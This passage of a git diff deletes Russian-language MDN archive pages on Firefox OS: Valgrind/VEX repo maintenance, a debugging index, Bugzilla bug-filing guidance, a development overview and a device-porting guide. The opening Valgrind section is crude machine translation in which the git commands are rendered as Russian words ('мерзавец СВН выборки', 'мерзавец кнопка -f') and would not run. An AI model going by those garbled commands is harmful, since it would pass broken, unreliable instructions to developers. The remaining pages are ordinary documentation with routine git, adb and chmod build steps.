ОПЫТ GIT ТРЕБУЕТСЯ. Не пытайтесь обновить VALGRIND сделок РЕПО, если вы не знакомы с обработкой сложных операций Git. Любые обновления к GitHub репо будет отражать в git.mozilla.org, который затем будет запряженных разработчиков, использующих ГОЛОВУ РЭПО манифестов. В то время как поломка Valgrind не будет ломать строит на что-либо, что не включено Valgrind (например, автоматизация Buildbot), это будет очень раздражают разработчиков, которые пытаются использовать его.<br> - Основные Firefox OS, valgrind и VEX операции РЕПО находятся на</p> - -<p>http://github.com/mozilla-b2g/valgrind<br> - http://github.com/mozilla-b2g/vex<br> - Главный филиал является нетронутым версия ствола SVN каждого из этих репозиториях, а ветвь Firefox OS содержит Firefox OS специфичные патчи перебазировались на верхней части туловища.</p> - -<p>Примечание: ВСЕГДА ОБНОВЛЕНИЕ ОБА REPOS ОДНОВРЕМЕННО. В то время как они являются два отдельных операций РЕПО, VEX обычно подмодуль Valgrind, и глава Valgrind обычно указывает на голову VEX.<br> - Они копируются на git.mozilla.org домен для использования в B2G проявляется:</p> - -<p>http://git.mozilla.org/?p=b2g/valgrind.git;a=summary<br> - http://git.mozilla.org/?p=b2g/vex.git;a=summary<br> - Основные операции РЕПО сохраняются в синхронизации с VALGRIND СВН с ГИТ СВН. Для того, чтобы тянуть обновления к сделкам РЕПО, клонировать Valgrind и досадить сделок РЕПО с GitHub, а затем выполните следующую команду:<br> - мерзавец СВН -s Init [URL репо подрывная]<br> - Натяжение данные SVN будет занять несколько часов, но когда это будет сделано, ваше дерево должно быть синхронно с основным Valgrind SVN.<br> - Чтобы вытащить дальнейшие обновления, следующий набор команд используется:<br> - мерзавец мастер-выписка<br> - мерзавец СВН выборки<br> - мерзавец СВН перебазироваться<br> - мерзавец толчок [GitHub-дистанционное имя] мастер<br> - Git fxos Кассовые<br> - мерзавец мастер перебазироваться<br> - Существует хороший шанс, что будет конфликты патч во время этапа ветви Rebase Firefox OS. Если вы не можете работать вопрос вне, по электронной почте автор конфликтующих фиксации.<br> - После перебазирования, запустить полную Firefox OS построить с флагом B2G_VALGRIND, чтобы убедиться, что она по-прежнему строит. Наиболее распространенные необходимые исправления перечислены в сценарии раздела ниже.<br> - После того как вы перебазировались и испытанные сборку против дерева Firefox OS, вам придется заставить толкать ветку Firefox OS из-за изменения головы.<br> - мерзавец кнопка -f [-дистанционного имя GitHub] fxos<br> - Сборка, установка и запуск скриптов</p> - -<p>Есть несколько сценариев, которые являются либо частью ветви Valgrind Firefox OS или B2G репо, которые могут нуждаться в обновлении после извлечения репо.</p> - -<p>внешняя / Valgrind / android.mk</p> - -<p>Это сценарий Android система сборки. Чаще всего, это где изменения должны быть сделаны, из-файлы добавляются / удаляются из дерева Valgrind в. Использование ключей -j1 сборки, чтобы увидеть, какие цели не удается построить, и если он отсутствует файл или ссылки на несуществующий файл, обновить список файлов этого проекта.</p> - -<p>внешняя / Valgrind / valgrind.mk</p> - -<p>Этот документ содержит список пакетов, которые должны быть построены и добавлены к системе изображения FxOS, на который ссылается Gonk-разностороннего / b2g.mk. Это, как правило, не нуждается в обновления, как это редкий для Valgrind, чтобы добавить новые пакеты, но если они нужны, их здесь.</p> - -<p>run-valgrind.sh</p> - -<div class="warning"> -<p>Сценарий для запуска Valgrind по телефону. Если есть новые аргументы командной строки, которые необходимы для запуска Valgrind по телефону, их здесь. Это также, где мы копируем библиотеку с отладочной к телефону, поэтому любая корректировка / изменение этого процесса должно произойти здесь.</p> -</div> diff --git a/files/ru/archive/b2g_os/debugging/index.html b/files/ru/archive/b2g_os/debugging/index.html deleted file mode 100644 index 058dbb5410..0000000000 --- a/files/ru/archive/b2g_os/debugging/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: Debugging on Firefox OS -slug: Archive/B2G_OS/Debugging -tags: - - Debugging - - Firefox OS - - NeedsTranslation - - QA - - Testing - - TopicStub -translation_of: Archive/B2G_OS/Debugging ---- -<div class="summary"> -<p><span class="seoSummary">There are two main types of debugging you'll want to with Firefox OS: debugging apps, and debugging other aspects of the system.</span> This section of the site provides articles covering the different tools at your disposal to debug your Firefox OS code.</p> -</div> - -<h2 id="Debugging_apps">Debugging apps</h2> - -<p>When debugging your web apps, the best tool at your disposal is Mozilla's powerful <a href="/en-US/docs/Tools/WebIDE">WebIDE</a>, which allows you to run your apps directly on a real device or simulator, update any changes instantly, and debug them directly on the device using Mozilla's excellent <a href="https://developer.mozilla.org/en-US/docs/Tools" title="en-US/docs/Tools">developer tools</a>. This should be your first choice, especially for app/Gaia debugging.</p> - -<dl> - <dt><a href="/en-US/docs/Tools/WebIDE">Using WebIDE</a></dt> - <dd>The WebIDE a tool available in Firefox for Desktop, which provides a number of useful tools to help you test, deploy and debug HTML5 web apps on Firefox OS phones and the Firefox OS Simulator, directly from your browser.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_OOMs">Debugging out of memory errors on Firefox OS</a></dt> - <dd>This article describes how B2G's multiprocess architecture affects what the phone does when we run out of memory, and how to understand and debug OOM crashes.</dd> -</dl> - -<h2 id="Debugging_GaiaB2G">Debugging Gaia/B2G</h2> - -<p>If you want to debug code from the Gaia apps suite or B2G itself, the following tools will be of use to you.</p> - -<dl> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_using_the_desktop_B2G_client" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_using_the_desktop_B2G_client">Debugging using the desktop B2G client</a></dt> - <dd>You can use the dedicated B2G desktop application (and associated tools) to debug multiple aspects of B2G and Gaia.</dd> - <dt><a href="/en-US/Firefox_OS/Debugging/Firefox_OS_crash_reporting">Firefox OS crash reporting</a></dt> - <dd>This page details how to handle crash reporting on Firefox OS, including retrieving crash reports, and forcing crashes.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_B2G_using_gdb" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_B2G_using_gdb">Debugging B2G using gdb</a></dt> - <dd>The popular gdb debugger can be used to debug Firefox OS and web apps running on a device, or on an emulator. This guide will show you how it's done.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_B2G_using_valgrind" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_B2G_using_gdb">Debugging B2G using Valgrind</a></dt> - <dd>Valgrind gives developers access to information about memory allocations, threads, and other information important to performance. This guide shows how to run Valgrind either on desktop B2G or select phone hardware.</dd> - <dt><a href="/en-US/docs/Mozilla/Debugging/HTTP_logging#Firefox_OS_phones" title="/en-US/docs/Mozilla/Debugging/HTTP_logging#Firefox_OS_phones">Getting NSPR logs in B2G</a></dt> - <dd>You can use NSPR logs to record HTTP and other networking.</dd> - <dt><a href="/en-US/docs/Mozilla/Debugging/Debugging_OpenGL" title="/en-US/docs/Mozilla/Debugging/Debugging_OpenGL">Debugging OpenGL</a></dt> - <dd>How to debug OpenGL code on Firefox OS.</dd> -</dl> - -<h2 id="General_setup_and_information"><strong>General setup and information</strong></h2> - -<p>The following articles provide information on individual aspects of setup for Firefox OS development. The chances are that you won't need these, especially if you are just debugging apps using the App Manager. But we have made them available here in case you do.</p> - -<dl> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Developer_settings" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Developer_settings">Developer settings for Firefox OS</a></dt> - <dd>There are a number of settings options available for developers on Firefox OS. This guide explains what they do and how to take advantage of them.</dd> - <dt><a href="/en-US/Firefox_OS/Debugging/Installing_ADB">Installing and using ADB</a></dt> - <dd>Many aspects of Firefox OS development require installation of <code>adb</code>, the Android Debug Bridge. This article explains how to do that, and shares some common useful ADB commands.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging">On-device console logging</a></dt> - <dd>How to log to console on a Firefox OS device, and how to access the resulting logs for review on your computer.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Connecting_a_Firefox_OS_device_to_the_desktop" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_Firefox_OS_apps_in_desktop_Firefox">Connecting a Firefox OS device to the desktop</a></dt> - <dd>This short guide explains how to set up your Firefox OS device and your desktop so that the desktop can communicate with the device over USB.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Setting_up" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Setting_up">Setting up to debug Firefox OS code</a></dt> - <dd>Before you can begin using most of the tools integrated into Firefox for debugging code running under Firefox OS, you need to do a little configuration work. This article explains what you need to do.</dd> -</dl> diff --git a/files/ru/archive/b2g_os/developing_firefox_os/filing_bugs_against_firefox_os/index.html b/files/ru/archive/b2g_os/developing_firefox_os/filing_bugs_against_firefox_os/index.html deleted file mode 100644 index f391a0ddcc..0000000000 --- a/files/ru/archive/b2g_os/developing_firefox_os/filing_bugs_against_firefox_os/index.html +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: Отправка найденных ошибок в Firefox OS -slug: Archive/B2G_OS/Developing_Firefox_OS/Filing_bugs_against_Firefox_OS -translation_of: Archive/B2G_OS/Developing_Firefox_OS/Filing_bugs_against_Firefox_OS ---- -<div class="summary"> -<p>Эта статья содержит руководство по оформлению ошибок в Firefox OS, включая Gaia и B2G.</p> -</div> - -<h2 id="Bugzilla">Bugzilla</h2> - -<p>Как и в большинстве проектов Mozilla, мы используем <a href="/en-US/docs/Mozilla/Bugzilla">Bugzilla</a> для отслеживанию ошибок и проблем. Вы можете опубликовать ошибку в <a href="https://bugzilla.mozilla.org/">bugzilla</a>, при её обнаружении можете использовать <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox%20OS">отдельный продукт для Firefox OS</a>, который содержит компоненты, включающие <a href="/en-US/Firefox_OS/Platform/Gaia">Gaia</a>, <a href="/en-US/Firefox_OS/Platform/Gonk">Gonk</a> и <a href="/en-US/docs/Mozilla/Gecko">Gecko</a>. Вы должны использовать его, чтобы подать ошибку в Firefox OS, Gaia, и др.</p> - -<h3 id="Отправка_ошибок">Отправка ошибок</h3> - -<p>Чтобы подать правильно обнаруженную ошибку используйте <a href="http://mzl.la/1KL4ktp">Bugzilla шаблон</a> и следуйте инструкциям ниже, чтобы заполнить шабло</p> - -<h3 id="Обязательные_и_не_обязательные_поля">Обязательные и не обязательные поля</h3> - -<p>При подаче новой ошибки эти поля являются обязательными для заполнения:</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col"><strong>Field</strong></th> - <th scope="col"><strong>Описание</strong></th> - </tr> - </thead> - <tbody> - <tr> - <td>Component</td> - <td>Выберите категорию ошибки к которой он принадлежит. Если Вы не понимаете, в какую категорию его нужно занести, Вы можете выбрать "Общие".</td> - </tr> - <tr> - <td>Summary</td> - <td>Кратко опишите найденную ошибку.</td> - </tr> - <tr> - <td>Description</td> - <td>Опишите ситуацию ясно. Ошибка должна содержать действия по воспроизведению (STR), ожидаемые результаты и фактические результаты. Просим также указать частоту воспроизведения (то есть, сколько раз ошибка появляется, если вы повторите шаги снова и снова).</td> - </tr> - <tr> - <td>Build Information</td> - <td>Перейдите в раздел "Настройки"> "Информация об устройстве"> "Дополнительная информация" и выберите следующее: OS Version, Build Number, Platform Version, Build Identifier, Update Channel and Git Commit Info. (Если у вас есть компьютер Mac / Linux с установленными АБР и Git, вы можете запустить этот скрипт и вставить отчет в ошибку.)</td> - </tr> - <tr> - <td>Screenshots</td> - <td>Пожалуйста, приложите скриншот, который может помочь нам понять ошибку. (На Flame устройстве, нажмите и удерживайте кнопку питания и нижнюю качельку громкости в течение 2 секунд пока на телефоне не появится уведомление о скриншоте. Затем перенесите скриншот в компьютер через USB.)</td> - </tr> - <tr> - <td>Video</td> - <td>Если Вашу ошибку трудно отобразить с помощью скриншота,то пожалуйста снимите её на видео. Вы можете загрузить видео как файл в качестве приложения к ошибке. Вы также можете загрузить видео на YouTube и вставить ссылку на него.</td> - </tr> - <tr> - <td>ADB logs</td> - <td>Если у Вас на компьютере установлен ADB, то подключите к компьютеру телефон и выполните команду | ADB LogCat |. Пожалуйста, вставте отчет этой команды в текстовый файл и приложите его к ошибке.</td> - </tr> - </tbody> -</table> - -<p>Следующие поля являются необязательными:</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col"><strong>Field</strong></th> - <th scope="col"><strong>Описание</strong></th> - </tr> - </thead> - <tbody> - <tr> - <td>Depends/Block</td> - <td>Описать зависимость между ошибками.</td> - </tr> - <tr> - <td>Keywords</td> - <td>Ключевые слова для Bugzilla. Они будут использованы для отслеживания.</td> - </tr> - <tr> - <td>Whiteboard</td> - <td>Ключевые теги. Добавьте любой тег к ошибке для отслеживания. Вы не должны удалять другие теги без разрешения.</td> - </tr> - <tr> - <td>See Also</td> - <td>Иногда, две ошибки связаны между собой и вы можете указать это здесь.</td> - </tr> - <tr> - <td>Flags</td> - <td>Флаги для отслеживания статуса ошибки; наиболее часто используемый флаг в Firefox OS "blocking-b2g". Если ошибка устанавливается с флагом "blocking-b2g" это означает, что мы должны обращать больше внимания на эту ошибку, так как она угрожает заблокировать выпуск обновления.</td> - </tr> - <tr> - <td>Security</td> - <td>Если ошибка связана с безопасностью персональных данных, денежными средствами и другими подобными вопросами, вы должны указать это, и ошибка будет видна только специальной категории сотрудников.</td> - </tr> - </tbody> -</table> - -<p>Чтобы найти более подробную информацию о bugzilla fields, Вы можете открыть <a href="https://bugzilla.mozilla.org/page.cgi?id=fields.html">Bugzilla Fields</a> страницу на Bugzilla.</p> - -<h3 id="Отправка_ошибок_локализации">Отправка ошибок локализации</h3> - -<p>Когда Вы видите не переведенную строку, это может означать две вещи:</p> - -<ul> - <li>Переводчик не перевел эту строку. Не сообщайте об ошибке в этом случае!</li> - <li>Переводчик не мог перевести строку из-за локальной (l12y) ошибки. Пожалуйста, сообщите об ошибке в этом случае.</li> -</ul> - -<h4 id="Как_подать_локальные_(l12y)_ошибки">Как подать локальные (l12y) ошибки</h4> - -<ol> - <li>In Firefox OS, go to Settings > Device Information > More Information and toggle on the Developer Menu.</li> - <li>Go to Settings > Developer and turn on Pseudo-localization.</li> - <li>Go to Settings > Language and scroll to the bottom to select accented English.</li> - <li>Go back and look at the untranslated string. If it appears in normal English and not accented English, it is most probably because of a localizability (l12y) issue.</li> - <li>In Bugzilla, file a bug under the product 'Firefox OS'. Select the component under which the untranslated string appears. Add 'l12y' in the Keyword field.</li> - <li>Please fill out all the other mandatory fields.</li> -</ol> - -<h3 id="Common_keywords">Common keywords</h3> - -<p>The following table provide information on common keywords you'll see used in Firefox OS bugs.</p> - -<p><br> - You should always indicate the build/OS/platform(s) used to verify the bug in the bug comments, before you change the <em>Status</em> to <em>Verified</em>. If the bug is reported on all three platforms and you only have one platform to verify the fix on, go ahead and do so and note it in the bug, but do not mark the bug as <em>Verified</em>. All platforms must be checked before moving <em>Status</em> to <em>Verified</em>.<br> - <br> - Finally, if other bugs have been marked as a duplicate of the bug you're verifying, be sure to check and mention those as well. Often developers mark related — but not identical — bugs as duplicates, and these can be overlooked if not checked.</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col"><strong>Keyword</strong></th> - <th scope="col"><strong>Description</strong></th> - </tr> - </thead> - <tbody> - <tr> - <td>meta</td> - <td>Indicates that the bug is a status tracking bug. Mozilla uses this tag to tracking multiple bug or user story implementation statuses. Once marked like this, developers should not land patches on top of such bugs. Please be reminded that project managers and QA staff will use meta bugs for tracking.</td> - </tr> - <tr> - <td>qablocker</td> - <td>Use this keyword for bugs that are blocking testing (manual or automated testing of a feature) and need to be fixed by the next Beta or RC milestone.</td> - </tr> - <tr> - <td>qawanted</td> - <td>Use this keyword for bugs that need more info, require reproducing or testcasing, or are duplicates (but you can't find the original bug being duplicated). Required QA work progress is recorded in the whiteboard; you should remove this keyword when the required QA work has been completed.</td> - </tr> - <tr> - <td>regression</td> - <td>This keyword means that the problem was fixed, but then it came back (regressed) and the bug in question is a new bug, filed to track the regression. It can also refer to problems outside those identified in pre-check in and smoke tests, which were found in current builds and that were known to be working in previous builds. Tracking these bugs helps us to identify areas that are fragile, prone to breakage and are good candidates for adding to smoke and pre-check in tests.</td> - </tr> - <tr> - <td>regressionwindow-wanted</td> - <td>Indicates that the bug is a regression, and would strongly benefit from someone identifying the time period in which it happened, ideally to a specific check in.</td> - </tr> - <tr> - <td>steps-wanted</td> - <td>Highlights a bug that would greatly benefit from someone identifying the steps to reproduce it.</td> - </tr> - <tr> - <td>verifyme</td> - <td>Means that this bug is ok to verify with the latest FX OS build by someone other than the QA Contact indicated. The bug has specific machine configuration details indicated for verifying the fix. You should try to reproduce the failure, and, if you agree that the resolution of <em>Fixed</em> is correct, mark the <em>Status</em> as <em>Verified</em>.<br> - </td> - </tr> - <tr> - <td>crash</td> - <td>Add this keyword if you encounter a crash in FX OS.</td> - </tr> - </tbody> -</table> - -<div class="note"> -<p><strong>Note</strong>: You can additionally refer to <a href="/en-US/docs/Mozilla/QA/Bug_writing_guidelines">Bug writing guidelines</a>. The Mozilla <a href="https://wiki.mozilla.org/B2G/QA">B2G QA Wiki</a> page also has some useful resources on handling Firefox OS bugs; the most useful pages are <a href="https://wiki.mozilla.org/B2G/QA/Bugzilla">Bugzilla Usage</a> and <a href="https://wiki.mozilla.org/Bugmasters/Projects/FirefoxOS">Incoming bug triage for Firefox OS</a>.</p> -</div> - -<div class="note"> -<p><strong>Note</strong>: For more information on handling bugs during Gaia development, read <a href="/en-US/Firefox_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a>.</p> -</div> - -<p> </p> diff --git a/files/ru/archive/b2g_os/developing_firefox_os/index.html b/files/ru/archive/b2g_os/developing_firefox_os/index.html deleted file mode 100644 index 7ada1a218d..0000000000 --- a/files/ru/archive/b2g_os/developing_firefox_os/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Разработка Firefox OS -slug: Archive/B2G_OS/Developing_Firefox_OS -tags: - - Developing - - Firefox OS - - NeedsTranslation - - TopicStub -translation_of: Archive/B2G_OS/Developing_Firefox_OS ---- -<div class="summary"> -<p><span class="seoSummary"><span id="result_box" lang="ru"><span class="hps">Этот раздел содержит</span> <span class="hps">полезную документацию</span>, охватывающую различные <span class="hps">способы</span>, в которых <span class="hps">Firefox OS</span> <span class="hps">(кодовое имя</span> <span class="hps">Boot2Gecko</span> <span class="hps">или</span> <span class="hps">B2G</span>) <span class="hps">могут быть изменены</span><span class="hps">/настроить</span> <span class="hps">в процессе сборки</span>, <span class="hps">и как вы можете</span> <span class="hps">помочь в разработке</span> низкоуровневых частей <span class="hps">платформы</span>, такие как <span class="hps">Gecko</span> <span class="hps">и</span> <span class="hps">Gonk.</span></span></span></p> -</div> - -<div class="note"> -<p><strong>Note</strong>: Если вы хотите помочь в разработке Gaia, пользовательского интерфейса Firefox OS, вам следует поситить страницу <a href="/en-US/Firefox_OS/Developing_Gaia">Разрабока Gaia</a>.</p> -</div> - -<h2 id="General_contribution_notes">General contribution notes</h2> - -<p>Since Gecko is an integral part of the Firefox browser, contributing to Firefox OS-related parts of Gecko is a pretty similar process to Gecko in general; contributing to Gonk is also pretty similar. Basically, you need to get to know the community, learn how the codebase works, and find bugs to work on. A good place to start earning about the contribution process is <a href="/en-US/docs/Introduction">Contributing to the Mozilla codebase</a>.</p> - -<p>You should learn about Gecko — how it works and how it is structured. The <a href="/en-US/docs/Mozilla/Gecko">MDN Gecko homepage</a> has some useful notes on this, as does the <a href="https://wiki.mozilla.org/Gecko:Overview">Gecko:Overview</a> page on the Mozilla Wiki. For information on (Firefox OS-specific) APIs, see the <a href="https://wiki.mozilla.org/WebAPI">WebAPI</a> Mozilla Wiki page for an overview of the work, and the <a href="/en-US/docs/WebAPI">MDN WebAPI</a> page for an index of all documented APIs.</p> - -<p>Next, look at <a href="/en-US/Firefox_OS/Platform/Gonk">Gonk</a>, the kernel that Firefox OS runs on top of. Gonk is basically another porting target for Gecko, just like Mac OS X, Windows and Linux are in the case of Desktop Firefox versions. Gonk itself is really just a stripped down version of the Android Open Source Project — we tend not to change much of Gonk itself since most of the source code isn't under our control, and the device partners we work with to create Firefox OS devices usually provide device-specific code to interface between the device and Gecko/Gonk.</p> - -<p>There is still work to be done on APIs, however. Most Gonk-specific Gecko code either uses <code>#ifdef MOZ_WIDGET_GONK</code> to only enable it in Firefox OS, and/or are contained in <code>gonk</code> subdirectories, such as <code>gecko-dev/hal/gonk</code>. Try cloning the <a href="https://github.com/mozilla/gecko-dev">gecko-dev</a> repo locally and having a look around. Our <a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure">Mozilla Source Code Directory Structure</a> article is also useful.</p> - -<p>Next, you should learn more about <a href="/en-US/Firefox_OS/Platform/Architecture">Firefox OS architecture</a>, how to <a href="/en-US/Firefox_OS/Building">Build Firefox OS</a> (start with the <a href="/en-US/Firefox_OS/Building_and_installing_Firefox_OS/Firefox_OS_build_process_summary">Firefox OS build process summary</a>), and how to <a href="/en-US/Firefox_OS/Developing_Firefox_OS/Porting">Port Firefox OS</a> to other devices.</p> - -<p>Firefox OS is developed as a series of separate Modules: review the <a href="https://wiki.mozilla.org/Modules/FirefoxOS">Firefox OS Modules</a> page to get an idea of how the codebase is grouped, and learn who the main module owners are so you can get an idea of who to talk to if you need help.</p> - -<div class="note"> -<p><strong>Note</strong>: To find help, the best places to start are the <a href="https://lists.mozilla.org/listinfo/dev-b2g">dev-b2g mailing list</a>, and the #b2g chatroom on <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>.</p> -</div> - -<h2 id="Specific_Firefox_OS_development_topics">Specific Firefox OS development topics</h2> - -<dl> - <dt><a href="/en-US/Firefox_OS/Developing_Firefox_OS/Filing_bugs_against_Firefox_OS">Filing bugs against Firefox OS</a></dt> - <dd>This article provides a guide to filing bugs against any aspect of Firefox OS.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Tips_and_tricks/modifying_hosts_file" title="/en-US/docs/Mozilla/Firefox_OS/Tips_and_tricks/modifying_hosts_file">Modifying the hosts file</a></dt> - <dd>A guide to what can be achieved by modifying the Firefox OS hosts file.</dd> - <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file" title="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file">Customization with the .userconfig file</a></dt> - <dd>How to customize the build and execution of Firefox OS by changing the <code>.userconfig</code> file.</dd> - <dt><a href="/en-US/Firefox_OS/Developing_Firefox_OS/Customizing_the_b2g.sh_script">Customizing the b2g.sh script</a></dt> - <dd>An explanation of what can be achieved by customizing the b2g.sh script, which runs the b2g application and controls many aspects of the system.</dd> - <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Porting" title="/en-US/docs/Mozilla/Firefox_OS/Porting">Porting Firefox OS</a></dt> - <dd>Information about how to port Firefox OS to new devices.</dd> -</dl> diff --git a/files/ru/archive/b2g_os/developing_firefox_os/портирование/index.html b/files/ru/archive/b2g_os/developing_firefox_os/портирование/index.html deleted file mode 100644 index 7fb97b4e08..0000000000 --- a/files/ru/archive/b2g_os/developing_firefox_os/портирование/index.html +++ /dev/null @@ -1,183 +0,0 @@ ---- -title: Портирование Firefox OS -slug: Archive/B2G_OS/Developing_Firefox_OS/Портирование -translation_of: Archive/B2G_OS/Porting_B2G_OS/basics ---- -<div class="summary"> -<p>Firefox OS (также Boot to Gecko) использует ядро выделенное из <a href="http://www.android.com/" title="http://www.android.com/">Android</a> с пользовательским интерфейсом, основанным на <a href="/en-US/docs/Gecko" title="Gecko">Gecko</a>, поверх него. Данная статья является руководством по портированию ОС на новые устройства.</p> -</div> - -<p>Данное руководство предполагает, что вы портируете на Android устройство; если вы портируйте на другое устройство, работа будет сложнее.</p> - -<h2 id="Подготовка_системы_сборки">Подготовка системы сборки</h2> - -<p>Первым делом необходимо настроить систему сборки; как это сделать написано в этом руководстве <a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites" title="en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites">Firefox OS build prerequisites</a>.</p> - -<h2 id="Создание_резервной_копии_существующей_системы_Android">Создание резервной копии существующей системы Android</h2> - -<p>Далее вы должны сделать резервную копию вашего Android устройства, прежде чем информация удалится тестовыми сборками B2G. Кроме того, некоторые части оригинальной системы потребуются в процессе сборки и установки. При выборе имени идентификатора устройства (device id name) мы рекомендуем использовать '_' вместо '-'.</p> - -<pre>mkdir my_device_backup -cd my_device_backup -adb pull /system system</pre> - -<h2 id="Клонирование_B2G_репозитария">Клонирование B2G репозитария</h2> - -<p>Первым делом необходимо склонировать репозитарии B2G, а так же хранилище манифестов.</p> - -<pre>git clone https://github.com/mozilla-b2g/B2G.git -git clone https://github.com/mozilla-b2g/b2g-manifest.git</pre> - -<h2 id="Добавление_нового_устройства_в_config.sh">Добавление нового устройства в config.sh</h2> - -<p>Далее нужно добавить новое устройство в <a href="https://github.com/mozilla-b2g/B2G/blob/master/config.sh" title="https://github.com/mozilla-b2g/B2G/blob/master/config.sh"><code>config.sh</code></a> в репозитарии B2G. Вы можете воспользоваться существующими в качестве шаблона. В основном это сводится к обеспечению инструкций для выборки правильных файлов для сборки. (This basically involves providing the instructions for fetching the correct files to do the build.)</p> - -<h2 id="Создание_манифеста_для_нового_устройства">Создание манифеста для нового устройства</h2> - -<p>Вам необходимо добавить файл манифеста для нового устройства. Опирайтесь на существующий в качестве шаблона. Вы можете использовать <a href="https://github.com/mozilla-b2g/b2g-manifest/blob/master/hamachi.xml" title="https://github.com/mozilla-b2g/b2g-manifest/blob/master/hamachi.xml">hamachi</a> в качестве справки. Когда закончите, можете добавить и прикоммитить ваш новый манифест к вашему локальному b2g-manifest репозитарию.</p> - -<pre>git add my-new-device.xml -git commit -</pre> - -<p>Затем вам понадобится файл <a href="https://github.com/mozilla-b2g/B2G/blob/master/config.sh" title="https://github.com/mozilla-b2g/B2G/blob/master/config.sh"><code>config.sh</code></a> чтобы использовать ваш локальный b2g-manifest репозитарий вместо оффициального. Чтобы это сделать укажите путь к вашему локальному хранилищу и соответствующую ветку в переменных GITREPO и BRANCH в файле <a href="https://github.com/mozilla-b2g/B2G/blob/master/config.sh" title="https://github.com/mozilla-b2g/B2G/blob/master/config.sh"><code>config.sh</code></a>, например:</p> - -<pre><span class="nv">GITREPO</span><span class="o">=</span><span class="k">${</span><span class="nv">GITREPO</span><span class="k">:-</span><span class="s2">"file:///home/yourname/b2g-manifest"</span><span class="k">}</span> -<span class="nv">BRANCH</span><span class="o">=</span><span class="k">${</span><span class="nv">BRANCH</span><span class="k">:-master</span><span class="k">}</span></pre> - -<h2 id="Создание_дерева_конфигурации_нового_устройства">Создание дерева конфигурации нового устройства</h2> - -<p>Создание нового дерева конфигурации для нового устройства. Оно должно находится в дирректории <code>device/<em><manufacturer></em>/<em><device_id></em></code>. И включать в себя как минимум:</p> - -<ul> - <li><code>AndroidBoard.mk</code></li> - <li><code>AndroidProducts.mk</code></li> - <li><code>BoardConfig.mk</code></li> - <li><code>extract-files.sh</code></li> - <li><code>full_<device_id>.mk</code></li> - <li>idc files for touchscreen</li> - <li>init files (<code>init.rc</code>, <code>init.<target>.rc</code>, <code>uevent.rc</code>, ...)</li> -</ul> - -<p>Содержимое списока может сильно меняться от устроства к устроству. В частности BoardConfig.mk и extract-files.sh могут существенно отличаться. Эта часть требует много усилий по аддаптации, тестированию и дебагу, чтобы выяснить какие бинарные части (binary blobs) необходимо извлечь. Чтобы получить более полное представление о том что должно находится здесь, взгляните на <a href="https://github.com/mozilla-b2g/android-device-hamachi" title="https://github.com/mozilla-b2g/android-device-hamachi">конфигурацию устройства hamachi</a>. Не забывайте составлять вашу конфигурацию в соотвествии с манифестом устройства, который вы создали.</p> - -<div class="note"> -<p><strong>Note:</strong> Если вам удастся найти справку по <a href="http://www.cyanogenmod.com/" title="http://www.cyanogenmod.com/">CyanogenMod</a> для вашего устройства, это ускорит процесс портирования. <a href="http://forum.xda-developers.com/" title="http://forum.xda-developers.com/">Форум XDA</a> также хорошее место для обсуждения и поиска ресурсов.</p> -</div> - -<h2 id="Пересборка_boot.img">Пересборка boot.img</h2> - -<p>После того как все сделано вам потребуется пересобрать загрузочный образ. Как правило это нужно не для самого ядра, а для принятия правок в <strong>init.rc</strong>.</p> - -<h3 id="Изменения_в_init.rc">Изменения в init.rc</h3> - -<p>init.rc который вы используйте <strong>не</strong> поставляется с B2G, поэтому вам следует извлечь его из устройства.</p> - -<p>Основные вещи которые вам нужно исправить:</p> - -<h4 id="Импорт_init.b2g.rc">Импорт init.b2g.rc</h4> - -<p>Добавьте следующий код, чтобы импортировать <code>init.b2g.rc</code>:</p> - -<pre>on early-init - start ueventd - import /init.b2g.rc</pre> - -<h4 id="Исправление_прав_доступа">Исправление прав доступа</h4> - -<p>Исправьте права доступа к файлам <code>/system/b2g/b2g</code>, <code>/system/b2g/updater</code>, <code>/system/b2g/plugin-container</code>; это должно быть сделано после строк, которые монтируют файловую систему в режим read/write:</p> - -<pre>chmod 0755 /system/b2g/b2g -chmod 0755 /system/b2g/updater -chmod 0755 /system/b2g/plugin-container</pre> - -<p>Вы можете начать с правки <code>init.rc</code>, извлеченного из устройства, вместо использования <code>init.rc</code> включенного в систему сборки. Если так, важно не забыть задать <code>TARGET_PROVIDES_INIT_RC</code> в <code>BoardConfig.mk</code>.</p> - -<h3 id="Пре-собранное_ядро_vs._сборка_ядра_из_исходников">Пре-собранное ядро vs. сборка ядра из исходников</h3> - -<p>Вы можете воспользоваться пре-собранным ядром или собрать ядро из исходников. Чтобы собрать ядро из исходников добавьте 